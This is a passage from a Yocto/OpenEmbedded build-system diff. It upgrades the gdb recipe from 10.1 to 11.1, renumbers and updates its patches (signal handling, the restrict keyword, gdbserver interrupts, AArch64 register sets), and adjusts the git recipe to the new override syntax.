-+ sigaddset (set, SIGRTMIN);
-+ sigaddset (set, SIGRTMIN + 1);
- }
-diff --git a/gdb/nat/linux-nat.h b/gdb/nat/linux-nat.h
-index 44dcbb7758d..975d7276f66 100644
---- a/gdb/nat/linux-nat.h
-+++ b/gdb/nat/linux-nat.h
-@@ -91,4 +91,8 @@ extern void linux_stop_lwp (struct lwp_info *lwp);
-
- extern int lwp_is_stepping (struct lwp_info *lwp);
-
-+#ifndef W_STOPCODE
-+#define W_STOPCODE(sig) ((sig) << 8 | 0x7f)
-+#endif
-+
- #endif /* NAT_LINUX_NAT_H */
---
-2.29.2
-
diff --git a/meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch b/meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch
deleted file mode 100644
index 4622752247..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0008-Change-order-of-CFLAGS.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 07175ae348c9d07581e1db94762d5a2d577a75ad Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:35:39 -0700
-Subject: [PATCH 08/11] Change order of CFLAGS
-
-Lets us override Werror if need be
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdbserver/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdbserver/Makefile.in b/gdbserver/Makefile.in
-index 2b1a77f2de7..cb5ddb12fd5 100644
---- a/gdbserver/Makefile.in
-+++ b/gdbserver/Makefile.in
-@@ -161,7 +161,7 @@ WIN32APILIBS = @WIN32APILIBS@
- INTERNAL_CFLAGS_BASE = ${CXXFLAGS} ${GLOBAL_CFLAGS} \
- ${PROFILE_CFLAGS} ${INCLUDE_CFLAGS} ${CPPFLAGS} $(PTHREAD_CFLAGS)
- INTERNAL_WARN_CFLAGS = ${INTERNAL_CFLAGS_BASE} $(WARN_CFLAGS)
--INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) -DGDBSERVER
-+INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) ${COMPILER_CFLAGS} -DGDBSERVER
-
- # LDFLAGS is specifically reserved for setting from the command line
- # when running make.
---
-2.29.2
-
diff --git a/meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch b/meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch
new file mode 100644
index 0000000000..9095f90582
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch
@@ -0,0 +1,48 @@
+From 4ee7e8afb9ff259e889ac938c673fda9ddc5e15a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 10 May 2016 08:47:05 -0700
+Subject: [PATCH 08/10] resolve restrict keyword conflict
+
+GCC detects that we call 'restrict' as param name in function
+signatures and complains since both params are called 'restrict'
+therefore we use __restrict to denote the C99 keywork
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gnulib/import/sys_time.in.h | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/gnulib/import/sys_time.in.h b/gnulib/import/sys_time.in.h
+index 90a67d18426..664641a1fe8 100644
+--- a/gnulib/import/sys_time.in.h
++++ b/gnulib/import/sys_time.in.h
+@@ -93,20 +93,20 @@ struct timeval
+ # define gettimeofday rpl_gettimeofday
+ # endif
+ _GL_FUNCDECL_RPL (gettimeofday, int,
+- (struct timeval *restrict, void *restrict)
++ (struct timeval *__restrict, void *__restrict)
+ _GL_ARG_NONNULL ((1)));
+ _GL_CXXALIAS_RPL (gettimeofday, int,
+- (struct timeval *restrict, void *restrict));
++ (struct timeval *__restrict, void *__restrict));
+ # else
+ # if !@HAVE_GETTIMEOFDAY@
+ _GL_FUNCDECL_SYS (gettimeofday, int,
+- (struct timeval *restrict, void *restrict)
++ (struct timeval *__restrict, void *__restrict)
+ _GL_ARG_NONNULL ((1)));
+ # endif
+ /* Need to cast, because on glibc systems, by default, the second argument is
+ struct timezone *. */
+ _GL_CXXALIAS_SYS_CAST (gettimeofday, int,
+- (struct timeval *restrict, void *restrict));
++ (struct timeval *__restrict, void *__restrict));
+ # endif
+ _GL_CXXALIASWARN (gettimeofday);
+ # if defined __cplusplus && defined GNULIB_NAMESPACE
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch b/meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch
new file mode 100644
index 0000000000..5b9d1cfaf9
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch
@@ -0,0 +1,49 @@
+From 5740876d92ddb67b039d5fbcd1b71e6c58823c08 Mon Sep 17 00:00:00 2001
+From: Yousong Zhou <yszhou4tech@gmail.com>
+Date: Fri, 24 Mar 2017 10:36:03 +0800
+Subject: [PATCH 09/10] Fix invalid sigprocmask call
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The POSIX document says
+
+ The pthread_sigmask() and sigprocmask() functions shall fail if:
+
+ [EINVAL]
+ The value of the how argument is not equal to one of the defined values.
+
+and this is how musl-libc is currently doing. Fix the call to be safe
+and correct
+
+ [1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/pthread_sigmask.html
+
+gdb/ChangeLog:
+2017-03-24 Yousong Zhou <yszhou4tech@gmail.com>
+
+ * common/signals-state-save-restore.c (save_original_signals_state):
+ Fix invalid sigprocmask call.
+
+Upstream-Status: Pending [not author, cherry-picked from LEDE https://bugs.lede-project.org/index.php?do=details&task_id=637&openedfrom=-1%2Bweek]
+Signed-off-by: André Draszik <adraszik@tycoint.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbsupport/signals-state-save-restore.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbsupport/signals-state-save-restore.cc b/gdbsupport/signals-state-save-restore.cc
+index 95c156e5036..f4aa512d105 100644
+--- a/gdbsupport/signals-state-save-restore.cc
++++ b/gdbsupport/signals-state-save-restore.cc
+@@ -38,7 +38,7 @@ save_original_signals_state (bool quiet)
+ int i;
+ int res;
+
+- res = gdb_sigmask (0, NULL, &original_signal_mask);
++ res = gdb_sigmask (SIG_BLOCK, NULL, &original_signal_mask);
+ if (res == -1)
+ perror_with_name (("sigprocmask"));
+
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch b/meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch
deleted file mode 100644
index 698fdb0672..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0009-resolve-restrict-keyword-conflict.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 73a3babe48c7948f71683d0862eddc1609fdaa3d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 10 May 2016 08:47:05 -0700
-Subject: [PATCH 09/11] resolve restrict keyword conflict
-
-GCC detects that we call 'restrict' as param name in function
-signatures and complains since both params are called 'restrict'
-therefore we use __restrict to denote the C99 keywork
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gnulib/import/sys_time.in.h | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/gnulib/import/sys_time.in.h b/gnulib/import/sys_time.in.h
-index d30b26719b2..fd76af5e6d9 100644
---- a/gnulib/import/sys_time.in.h
-+++ b/gnulib/import/sys_time.in.h
-@@ -93,20 +93,20 @@ struct timeval
- # define gettimeofday rpl_gettimeofday
- # endif
- _GL_FUNCDECL_RPL (gettimeofday, int,
-- (struct timeval *restrict, void *restrict)
-+ (struct timeval *__restrict, void *__restrict)
- _GL_ARG_NONNULL ((1)));
- _GL_CXXALIAS_RPL (gettimeofday, int,
-- (struct timeval *restrict, void *restrict));
-+ (struct timeval *__restrict, void *__restrict));
- # else
- # if !@HAVE_GETTIMEOFDAY@
- _GL_FUNCDECL_SYS (gettimeofday, int,
-- (struct timeval *restrict, void *restrict)
-+ (struct timeval *__restrict, void *__restrict)
- _GL_ARG_NONNULL ((1)));
- # endif
- /* Need to cast, because on glibc systems, by default, the second argument is
- struct timezone *. */
- _GL_CXXALIAS_SYS_CAST (gettimeofday, int,
-- (struct timeval *restrict, void *restrict));
-+ (struct timeval *__restrict, void *__restrict));
- # endif
- _GL_CXXALIASWARN (gettimeofday);
- # if defined __cplusplus && defined GNULIB_NAMESPACE
---
-2.29.2
-
diff --git a/meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch b/meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch
deleted file mode 100644
index 7cf3eae753..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0010-Fix-invalid-sigprocmask-call.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From c5c5372c6a319cac8b3f9f86304fcebcbb5ea06f Mon Sep 17 00:00:00 2001
-From: Yousong Zhou <yszhou4tech@gmail.com>
-Date: Fri, 24 Mar 2017 10:36:03 +0800
-Subject: [PATCH 10/11] Fix invalid sigprocmask call
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-The POSIX document says
-
- The pthread_sigmask() and sigprocmask() functions shall fail if:
-
- [EINVAL]
- The value of the how argument is not equal to one of the defined values.
-
-and this is how musl-libc is currently doing. Fix the call to be safe
-and correct
-
- [1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/pthread_sigmask.html
-
-gdb/ChangeLog:
-2017-03-24 Yousong Zhou <yszhou4tech@gmail.com>
-
- * common/signals-state-save-restore.c (save_original_signals_state):
- Fix invalid sigprocmask call.
-
-Upstream-Status: Pending [not author, cherry-picked from LEDE https://bugs.lede-project.org/index.php?do=details&task_id=637&openedfrom=-1%2Bweek]
-Signed-off-by: André Draszik <adraszik@tycoint.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdbsupport/signals-state-save-restore.cc | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdbsupport/signals-state-save-restore.cc b/gdbsupport/signals-state-save-restore.cc
-index c292d498daf..af9dcaeb08e 100644
---- a/gdbsupport/signals-state-save-restore.cc
-+++ b/gdbsupport/signals-state-save-restore.cc
-@@ -38,7 +38,7 @@ save_original_signals_state (bool quiet)
- int i;
- int res;
-
-- res = gdb_sigmask (0, NULL, &original_signal_mask);
-+ res = gdb_sigmask (SIG_BLOCK, NULL, &original_signal_mask);
- if (res == -1)
- perror_with_name (("sigprocmask"));
-
---
-2.29.2
-
diff --git a/meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch b/meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch
new file mode 100644
index 0000000000..cb4744e5dd
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch
@@ -0,0 +1,40 @@
+From d611a68f05c0c86af27bf6beae189a90a946e2e3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 29 Nov 2018 18:00:23 -0800
+Subject: [PATCH 10/10] gdbserver ctrl-c handling
+
+This problem was created by the upstream commit 78708b7c8c
+After applying the commit, it will send SIGINT to the process
+group(-signal_pid).
+But if we use gdbserver send SIGINT, and the attached process is not a
+process
+group leader, then the "kill (-signal_pid, SIGINT)" returns error and
+fails to
+interrupt the attached process.
+
+Upstream-Status: Submitted
+[https://sourceware.org/bugzilla/show_bug.cgi?id=18945]
+
+Author: Josh Gao
+Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbserver/linux-low.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbserver/linux-low.cc b/gdbserver/linux-low.cc
+index 5c6191d941c..7f7acf6700d 100644
+--- a/gdbserver/linux-low.cc
++++ b/gdbserver/linux-low.cc
+@@ -5733,7 +5733,7 @@ linux_process_target::request_interrupt ()
+ {
+ /* Send a SIGINT to the process group. This acts just like the user
+ typed a ^C on the controlling terminal. */
+- ::kill (-signal_pid, SIGINT);
++ ::kill (signal_pid, SIGINT);
+ }
+
+ bool
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0011-AArch64-Make-gdbserver-register-set-selection-dynamic.patch b/meta/recipes-devtools/gdb/gdb/0011-AArch64-Make-gdbserver-register-set-selection-dynamic.patch
new file mode 100644
index 0000000000..6fc1859391
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0011-AArch64-Make-gdbserver-register-set-selection-dynamic.patch
@@ -0,0 +1,317 @@
+From eb79b2318066cafb75ffdce310e3bbd44f7c79e3 Mon Sep 17 00:00:00 2001
+From: Luis Machado <luis.machado@linaro.org>
+Date: Fri, 29 Oct 2021 14:54:36 -0300
+Subject: [PATCH] [AArch64] Make gdbserver register set selection dynamic
+
+The current register set selection mechanism for AArch64 is static, based
+on a pre-populated array of register sets.
+
+This means that we might potentially probe register sets that are not
+available. This is OK if the kernel errors out during ptrace, but probing the
+tag_ctl register, for example, does not result in a ptrace error if the kernel
+supports the tagged address ABI but not MTE (PR 28355).
+
+Making the register set selection dynamic, based on feature checks, solves
+this and simplifies the code a bit. It allows us to list all of the register
+sets only once, and pick and choose based on HWCAP/HWCAP2 or other properties.
+
+gdb/ChangeLog:
+
+2021-11-03 Luis Machado <luis.machado@linaro.org>
+
+ PR gdb/28355
+
+ * arch/aarch64.h (struct aarch64_features): New struct.
+
+gdbserver/ChangeLog:
+
+2021-11-03 Luis Machado <luis.machado@linaro.org>
+
+ PR gdb/28355
+
+ * linux-aarch64-low.cc (is_sve_tdesc): Remove.
+ (aarch64_target::low_arch_setup): Rework to adjust the register sets.
+ (aarch64_regsets): Update to list all register sets.
+ (aarch64_regsets_info, regs_info_aarch64): Replace NULL with nullptr.
+ (aarch64_sve_regsets, aarch64_sve_regsets_info)
+ (regs_info_aarch64_sve): Remove.
+ (aarch64_adjust_register_sets): New.
+ (aarch64_target::get_regs_info): Remove references to removed structs.
+ (initialize_low_arch): Likewise.
+
+[ChangeLog entry stripped so that patch applies cleanly]
+Upstream-Status: Accepted
+---
+
+diff --git a/gdb/arch/aarch64.h b/gdb/arch/aarch64.h
+index 0eb702c5b5e..95edb664b55 100644
+--- a/gdb/arch/aarch64.h
++++ b/gdb/arch/aarch64.h
+@@ -22,6 +22,15 @@
+
+ #include "gdbsupport/tdesc.h"
+
++/* Holds information on what architectural features are available. This is
++ used to select register sets. */
++struct aarch64_features
++{
++ bool sve = false;
++ bool pauth = false;
++ bool mte = false;
++};
++
+ /* Create the aarch64 target description. A non zero VQ value indicates both
+ the presence of SVE and the Vector Quotient - the number of 128bit chunks in
+ an SVE Z register. HAS_PAUTH_P indicates the presence of the PAUTH
+diff --git a/gdbserver/linux-aarch64-low.cc b/gdbserver/linux-aarch64-low.cc
+index daccfef746e..9a8cb4169a7 100644
+--- a/gdbserver/linux-aarch64-low.cc
++++ b/gdbserver/linux-aarch64-low.cc
+@@ -196,16 +196,6 @@ is_64bit_tdesc (void)
+ return register_size (regcache->tdesc, 0) == 8;
+ }
+
+-/* Return true if the regcache contains the number of SVE registers. */
+-
+-static bool
+-is_sve_tdesc (void)
+-{
+- struct regcache *regcache = get_thread_regcache (current_thread, 0);
+-
+- return tdesc_contains_feature (regcache->tdesc, "org.gnu.gdb.aarch64.sve");
+-}
+-
+ static void
+ aarch64_fill_gregset (struct regcache *regcache, void *buf)
+ {
+@@ -680,40 +670,6 @@ aarch64_target::low_new_fork (process_info *parent,
+ *child->priv->arch_private = *parent->priv->arch_private;
+ }
+
+-/* Matches HWCAP_PACA in kernel header arch/arm64/include/uapi/asm/hwcap.h. */
+-#define AARCH64_HWCAP_PACA (1 << 30)
+-
+-/* Implementation of linux target ops method "low_arch_setup". */
+-
+-void
+-aarch64_target::low_arch_setup ()
+-{
+- unsigned int machine;
+- int is_elf64;
+- int tid;
+-
+- tid = lwpid_of (current_thread);
+-
+- is_elf64 = linux_pid_exe_is_elf_64_file (tid, &machine);
+-
+- if (is_elf64)
+- {
+- uint64_t vq = aarch64_sve_get_vq (tid);
+- unsigned long hwcap = linux_get_hwcap (8);
+- unsigned long hwcap2 = linux_get_hwcap2 (8);
+- bool pauth_p = hwcap & AARCH64_HWCAP_PACA;
+- /* MTE is AArch64-only. */
+- bool mte_p = hwcap2 & HWCAP2_MTE;
+-
+- current_process ()->tdesc
+- = aarch64_linux_read_description (vq, pauth_p, mte_p);
+- }
+- else
+- current_process ()->tdesc = aarch32_linux_read_description ();
+-
+- aarch64_linux_get_debug_reg_capacity (lwpid_of (current_thread));
+-}
+-
+ /* Wrapper for aarch64_sve_regs_copy_to_reg_buf. */
+
+ static void
+@@ -730,21 +686,36 @@ aarch64_sve_regs_copy_from_regcache (struct regcache *regcache, void *buf)
+ return aarch64_sve_regs_copy_from_reg_buf (regcache, buf);
+ }
+
++/* Array containing all the possible register sets for AArch64/Linux. During
++ architecture setup, these will be checked against the HWCAP/HWCAP2 bits for
++ validity and enabled/disabled accordingly.
++
++ Their sizes are set to 0 here, but they will be adjusted later depending
++ on whether each register set is available or not. */
+ static struct regset_info aarch64_regsets[] =
+ {
++ /* GPR registers. */
+ { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_PRSTATUS,
+- sizeof (struct user_pt_regs), GENERAL_REGS,
++ 0, GENERAL_REGS,
+ aarch64_fill_gregset, aarch64_store_gregset },
++ /* Floating Point (FPU) registers. */
+ { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_FPREGSET,
+- sizeof (struct user_fpsimd_state), FP_REGS,
++ 0, FP_REGS,
+ aarch64_fill_fpregset, aarch64_store_fpregset
+ },
++ /* Scalable Vector Extension (SVE) registers. */
++ { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_ARM_SVE,
++ 0, EXTENDED_REGS,
++ aarch64_sve_regs_copy_from_regcache, aarch64_sve_regs_copy_to_regcache
++ },
++ /* PAC registers. */
+ { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_ARM_PAC_MASK,
+- AARCH64_PAUTH_REGS_SIZE, OPTIONAL_REGS,
+- NULL, aarch64_store_pauthregset },
++ 0, OPTIONAL_REGS,
++ nullptr, aarch64_store_pauthregset },
++ /* Tagged address control / MTE registers. */
+ { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_ARM_TAGGED_ADDR_CTRL,
+- AARCH64_LINUX_SIZEOF_MTE, OPTIONAL_REGS, aarch64_fill_mteregset,
+- aarch64_store_mteregset },
++ 0, OPTIONAL_REGS,
++ aarch64_fill_mteregset, aarch64_store_mteregset },
+ NULL_REGSET
+ };
+
+@@ -752,47 +723,95 @@ static struct regsets_info aarch64_regsets_info =
+ {
+ aarch64_regsets, /* regsets */
+ 0, /* num_regsets */
+- NULL, /* disabled_regsets */
++ nullptr, /* disabled_regsets */
+ };
+
+ static struct regs_info regs_info_aarch64 =
+ {
+- NULL, /* regset_bitmap */
+- NULL, /* usrregs */
++ nullptr, /* regset_bitmap */
++ nullptr, /* usrregs */
+ &aarch64_regsets_info,
+ };
+
+-static struct regset_info aarch64_sve_regsets[] =
++/* Given FEATURES, adjust the available register sets by setting their
++ sizes. A size of 0 means the register set is disabled and won't be
++ used. */
++
++static void
++aarch64_adjust_register_sets (const struct aarch64_features &features)
+ {
+- { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_PRSTATUS,
+- sizeof (struct user_pt_regs), GENERAL_REGS,
+- aarch64_fill_gregset, aarch64_store_gregset },
+- { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_ARM_SVE,
+- SVE_PT_SIZE (AARCH64_MAX_SVE_VQ, SVE_PT_REGS_SVE), EXTENDED_REGS,
+- aarch64_sve_regs_copy_from_regcache, aarch64_sve_regs_copy_to_regcache
+- },
+- { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_ARM_PAC_MASK,
+- AARCH64_PAUTH_REGS_SIZE, OPTIONAL_REGS,
+- NULL, aarch64_store_pauthregset },
+- { PTRACE_GETREGSET, PTRACE_SETREGSET, NT_ARM_TAGGED_ADDR_CTRL,
+- AARCH64_LINUX_SIZEOF_MTE, OPTIONAL_REGS, aarch64_fill_mteregset,
+- aarch64_store_mteregset },
+- NULL_REGSET
+-};
++ struct regset_info *regset;
+
+-static struct regsets_info aarch64_sve_regsets_info =
+- {
+- aarch64_sve_regsets, /* regsets. */
+- 0, /* num_regsets. */
+- NULL, /* disabled_regsets. */
+- };
++ for (regset = aarch64_regsets; regset->size >= 0; regset++)
++ {
++ switch (regset->nt_type)
++ {
++ case NT_PRSTATUS:
++ /* General purpose registers are always present. */
++ regset->size = sizeof (struct user_pt_regs);
++ break;
++ case NT_FPREGSET:
++ /* This is unavailable when SVE is present. */
++ if (!features.sve)
++ regset->size = sizeof (struct user_fpsimd_state);
++ break;
++ case NT_ARM_SVE:
++ if (features.sve)
++ regset->size = SVE_PT_SIZE (AARCH64_MAX_SVE_VQ, SVE_PT_REGS_SVE);
++ break;
++ case NT_ARM_PAC_MASK:
++ if (features.pauth)
++ regset->size = AARCH64_PAUTH_REGS_SIZE;
++ break;
++ case NT_ARM_TAGGED_ADDR_CTRL:
++ if (features.mte)
++ regset->size = AARCH64_LINUX_SIZEOF_MTE;
++ break;
++ default:
++ gdb_assert_not_reached ("Unknown register set found.");
++ }
++ }
++}
+
+-static struct regs_info regs_info_aarch64_sve =
+- {
+- NULL, /* regset_bitmap. */
+- NULL, /* usrregs. */
+- &aarch64_sve_regsets_info,
+- };
++/* Matches HWCAP_PACA in kernel header arch/arm64/include/uapi/asm/hwcap.h. */
++#define AARCH64_HWCAP_PACA (1 << 30)
++
++/* Implementation of linux target ops method "low_arch_setup". */
++
++void
++aarch64_target::low_arch_setup ()
++{
++ unsigned int machine;
++ int is_elf64;
++ int tid;
++
++ tid = lwpid_of (current_thread);
++
++ is_elf64 = linux_pid_exe_is_elf_64_file (tid, &machine);
++
++ if (is_elf64)
++ {
++ struct aarch64_features features;
++
++ uint64_t vq = aarch64_sve_get_vq (tid);
++ features.sve = (vq > 0);
++ /* A-profile PAC is 64-bit only. */
++ features.pauth = linux_get_hwcap (8) & AARCH64_HWCAP_PACA;
++ /* A-profile MTE is 64-bit only. */
++ features.mte = linux_get_hwcap2 (8) & HWCAP2_MTE;
++
++ current_process ()->tdesc
++ = aarch64_linux_read_description (vq, features.pauth, features.mte);
++
++ /* Adjust the register sets we should use for this particular set of
++ features. */
++ aarch64_adjust_register_sets (features);
++ }
++ else
++ current_process ()->tdesc = aarch32_linux_read_description ();
++
++ aarch64_linux_get_debug_reg_capacity (lwpid_of (current_thread));
++}
+
+ /* Implementation of linux target ops method "get_regs_info". */
+
+@@ -802,9 +821,7 @@ aarch64_target::get_regs_info ()
+ if (!is_64bit_tdesc ())
+ return &regs_info_aarch32;
+
+- if (is_sve_tdesc ())
+- return &regs_info_aarch64_sve;
+-
++ /* AArch64 64-bit registers. */
+ return &regs_info_aarch64;
+ }
+
+@@ -3294,5 +3311,4 @@ initialize_low_arch (void)
+ initialize_low_arch_aarch32 ();
+
+ initialize_regsets_info (&aarch64_regsets_info);
+- initialize_regsets_info (&aarch64_sve_regsets_info);
+ }
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch b/meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch
deleted file mode 100644
index 0a596b522f..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 63df98fa78c8a6e12b40ebdc5c155838d2bf8b5f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 29 Nov 2018 18:00:23 -0800
-Subject: [PATCH 11/11] gdbserver ctrl-c handling
-
-This problem was created by the upstream commit 78708b7c8c
-After applying the commit, it will send SIGINT to the process
-group(-signal_pid).
-But if we use gdbserver send SIGINT, and the attached process is not a
-process
-group leader, then the "kill (-signal_pid, SIGINT)" returns error and
-fails to
-interrupt the attached process.
-
-Upstream-Status: Submitted
-[https://sourceware.org/bugzilla/show_bug.cgi?id=18945]
-
-Author: Josh Gao
-Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdbserver/linux-low.cc | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdbserver/linux-low.cc b/gdbserver/linux-low.cc
-index e45493339d2..aabc099b456 100644
---- a/gdbserver/linux-low.cc
-+++ b/gdbserver/linux-low.cc
-@@ -5714,7 +5714,7 @@ linux_process_target::request_interrupt ()
- {
- /* Send a SIGINT to the process group. This acts just like the user
- typed a ^C on the controlling terminal. */
-- ::kill (-signal_pid, SIGINT);
-+ ::kill (signal_pid, SIGINT);
- }
-
- bool
---
-2.29.2
-
diff --git a/meta/recipes-devtools/gdb/gdb_10.1.bb b/meta/recipes-devtools/gdb/gdb_10.1.bb
deleted file mode 100644
index d70757a151..0000000000
--- a/meta/recipes-devtools/gdb/gdb_10.1.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-require gdb.inc
-require gdb-${PV}.inc
-
-inherit python3-dir
-
-EXTRA_OEMAKE_append_libc-musl = "\
- gt_cv_func_gnugettext1_libc=yes \
- gt_cv_func_gnugettext2_libc=yes \
- gl_cv_func_working_strerror=yes \
- gl_cv_func_strerror_0_works=yes \
- gl_cv_func_gettimeofday_clobber=no \
- "
-
-do_configure_prepend() {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- cat > ${WORKDIR}/python << EOF
-#!/bin/sh
-case "\$2" in
- --includes) echo "-I${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}/" ;;
- --ldflags) echo "-Wl,-rpath-link,${STAGING_LIBDIR}/.. -Wl,-rpath,${libdir}/.. -lpthread -ldl -lutil -lm -lpython${PYTHON_BASEVERSION}${PYTHON_ABI}" ;;
- --exec-prefix) echo "${exec_prefix}" ;;
- *) exit 1 ;;
-esac
-exit 0
-EOF
- chmod +x ${WORKDIR}/python
- fi
-}
diff --git a/meta/recipes-devtools/gdb/gdb_11.1.bb b/meta/recipes-devtools/gdb/gdb_11.1.bb
new file mode 100644
index 0000000000..e73e3a2c5c
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb_11.1.bb
@@ -0,0 +1,28 @@
+require gdb.inc
+require gdb-${PV}.inc
+
+inherit python3-dir
+
+EXTRA_OEMAKE:append:libc-musl = "\
+ gt_cv_func_gnugettext1_libc=yes \
+ gt_cv_func_gnugettext2_libc=yes \
+ gl_cv_func_working_strerror=yes \
+ gl_cv_func_strerror_0_works=yes \
+ gl_cv_func_gettimeofday_clobber=no \
+ "
+
+do_configure:prepend() {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ cat > ${WORKDIR}/python << EOF
+#!/bin/sh
+case "\$2" in
+ --includes) echo "-I${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}/" ;;
+ --ldflags) echo "-Wl,-rpath-link,${STAGING_LIBDIR}/.. -Wl,-rpath,${libdir}/.. -lpthread -ldl -lutil -lm -lpython${PYTHON_BASEVERSION}${PYTHON_ABI}" ;;
+ --exec-prefix) echo "${exec_prefix}" ;;
+ *) exit 1 ;;
+esac
+exit 0
+EOF
+ chmod +x ${WORKDIR}/python
+ fi
+}
diff --git a/meta/recipes-devtools/git/git.inc b/meta/recipes-devtools/git/git.inc
index 544e23c844..1d74270fdd 100644
--- a/meta/recipes-devtools/git/git.inc
+++ b/meta/recipes-devtools/git/git.inc
@@ -1,13 +1,16 @@
SUMMARY = "Distributed version control system"
HOMEPAGE = "http://git-scm.com"
+DESCRIPTION = "Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency."
SECTION = "console/utils"
LICENSE = "GPLv2"
DEPENDS = "openssl curl zlib expat"
-PROVIDES_append_class-native = " git-replacement-native"
+PROVIDES:append:class-native = " git-replacement-native"
SRC_URI = "${KERNELORG_MIRROR}/software/scm/git/git-${PV}.tar.gz;name=tarball \
- ${KERNELORG_MIRROR}/software/scm/git/git-manpages-${PV}.tar.gz;name=manpages"
+ ${KERNELORG_MIRROR}/software/scm/git/git-manpages-${PV}.tar.gz;name=manpages \
+ file://fixsort.patch \
+"
S = "${WORKDIR}/git-${PV}"
@@ -23,16 +26,17 @@ EXTRA_OECONF = "--with-perl=${STAGING_BINDIR_NATIVE}/perl-native/perl \
--without-tcltk \
--without-iconv \
"
-EXTRA_OECONF_append_class-nativesdk = " --with-gitconfig=/etc/gitconfig "
+EXTRA_OECONF:append:class-nativesdk = " --with-gitconfig=/etc/gitconfig "
# Needs brokensep as this doesn't use automake
inherit autotools-brokensep perlnative bash-completion
EXTRA_OEMAKE = "NO_PYTHON=1 CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}'"
EXTRA_OEMAKE += "'PERL_PATH=/usr/bin/env perl'"
-EXTRA_OEMAKE_append_class-native = " NO_CROSS_DIRECTORY_HARDLINKS=1"
